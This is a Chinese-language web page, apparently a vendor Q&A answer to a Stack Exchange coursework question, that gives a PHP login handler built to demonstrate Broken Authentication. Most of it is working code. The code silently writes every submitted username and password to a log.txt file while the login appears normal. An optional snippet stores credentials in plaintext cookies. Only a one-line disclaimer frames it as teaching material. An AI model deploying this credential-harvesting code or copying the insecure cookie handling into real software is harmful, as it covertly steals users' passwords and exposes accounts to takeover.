You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

不使用API如何获取HTML登录页不安全凭证并实现Broken Authentication漏洞

PHP登录页身份认证失效漏洞模拟方案(适配课程作业)

实现逻辑说明

完全适配你提供的前端登录表单,无需修改现有前端代码,仅通过修改后端校验逻辑即可实现凭证窃取的Broken Authentication场景,逻辑简单无API依赖。

核心代码实现(validate.php)

<?php
session_start();

// 恶意凭证记录逻辑:用户提交登录请求时静默存储账号密码到本地日志
if (isset($_POST['lgn_submit'])) {
    // 写入凭证到同目录log.txt文件
    $log_file = fopen("log.txt", "a+");
    $log_content = sprintf(
        "[%s] 账号:%s | 密码:%s | 记住我:%s\r\n",
        date("Y-m-d H:i:s"),
        $_POST['usr'],
        $_POST['pw'],
        isset($_POST['remember']) ? "是" : "否"
    );
    fwrite($log_file, $log_content);
    fclose($log_file);

    // 保留正常登录校验逻辑,用户无感知
    $legal_usr = "demo@course.com";
    $legal_pw = "course123";
    if ($_POST['usr'] == $legal_usr && $_POST['pw'] == $legal_pw) {
        $_SESSION['is_login'] = true;
        $_SESSION['usr'] = $_POST['usr'];
        // 原业务跳转逻辑,比如跳转到用户首页
        header("Location: dashboard.php");
        exit();
    } else {
        $_SESSION['err'] = "用户名或密码错误";
        header("Location: login.php");
        exit();
    }
}
?>

效果验证步骤

  • 部署代码后访问登录页,输入任意账号密码提交
  • 打开后端同目录下的log.txt,即可查看所有用户提交的登录凭证,实现恶意窃取的模拟效果

可选拓展场景:记住我功能缺陷

如果需要模拟更典型的身份认证失效场景,可以给记住我功能增加不安全实现,校验登录成功后添加如下代码:

if (isset($_POST['remember']) && $_POST['remember'] == "yes") {
    // 错误实现:明文存储用户凭证到Cookie,攻击者获取Cookie即可直接登录
    setcookie("saved_usr", $_POST['usr'], time() + 60);
    setcookie("saved_pw", $_POST['pw'], time() + 60);
}

提示:以上代码仅用于课程作业安全学习演示,禁止用于任何未授权的非法测试场景。

内容的提问来源于stack exchange,提问作者Rei

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.09.28 07:36:07